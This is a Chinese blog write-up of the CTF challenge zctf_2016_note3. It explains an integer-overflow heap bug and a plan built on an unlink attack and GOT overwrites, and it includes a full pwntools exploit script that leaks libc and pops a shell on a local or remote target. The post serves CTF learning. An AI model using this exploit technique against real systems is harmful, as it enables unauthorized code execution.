Limu
Articles10
Tags3
Categories0
zctf_2016_note3

zctf_2016_note3

zctf_2016_note3

题目分析

简单查看一下,是一个libc-2.23的64位程序,保护中的got表防护没有开,且无pie,堆指针是存在bss的位置。

在add函数出,存在整数溢出,可以申请一个很大的chunk包含下面的chunk,且show函数没有作用。

漏洞函数

思路

1、通过申请一个极大的chunk来包含下面申请的chunk,然后可以对下面的chunk进行修改,构造unlink。

2、通过unlink攻击修改某个堆指针列表的值后,利用这个指针,对堆指针列表的内容进行修改。

3、修改free的got表为puts函数的地址,打印atoi的got表内容,泄露libc,然后修改atoi函数的got表为system。

排坑

1、edit输入的内容,会将最后一个“\n”修改为“\0”,所以,我们在修改got表的时候,需要控制输入的内容,防止过多修改。

2、构造unlink攻击时,我们需要修改chunk1和chunk2的大小,并且修改chunk3的prev_size和prev_inuse,这里需要注意,chunk大小要大于0x80(低于0x80就会出一些奇怪的问题)

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'amd64'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

def add(size,content):
p.sendlineafter(b'option--->>\n', b'1')
p.sendlineafter(b'(less than 1024)\n', str(size).encode())
p.sendlineafter(b'content:\n', content)

def edit(index,content):
p.sendlineafter(b'option--->>\n', b'3')
p.sendlineafter(b'note:\n', str(index).encode())
p.sendlineafter(b'content:\n', content)

def free(index):
p.sendlineafter(b'option--->>\n', b'4')
p.sendlineafter(b'note:\n', str(index).encode())

#libc = ELF('/home/limu/Downloads/libc-2.23.so')
libc = ELF('./libc.so.6')
list = 0x6020c8

add(0x0,b'a')
add(0xa0,b'b')
add(0xa0,b'c')
add(0xa0,b'd')
edit(0,p64(0) * 3 + p64(0xc1) + p64(0) * 23 + p64(0xa1) + p64(list-0x8) + p64(list) + p64(0) * 16 + p64(0xa0) + p64(0xb0))
free(3)
add(0xa0,b'dddd')

edit(2,p64(0) + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(0,p64(elf.plt['puts'])[:-1])
free(2)

atoi_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
base = atoi_addr - libc.symbols['atoi']
system = base + libc.symbols['system']

edit(1,p64(system)[:-1])
p.interactive()
Author:Limu
Link:https://limu.ltd/2023/04/11/zctf-2016-note3/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×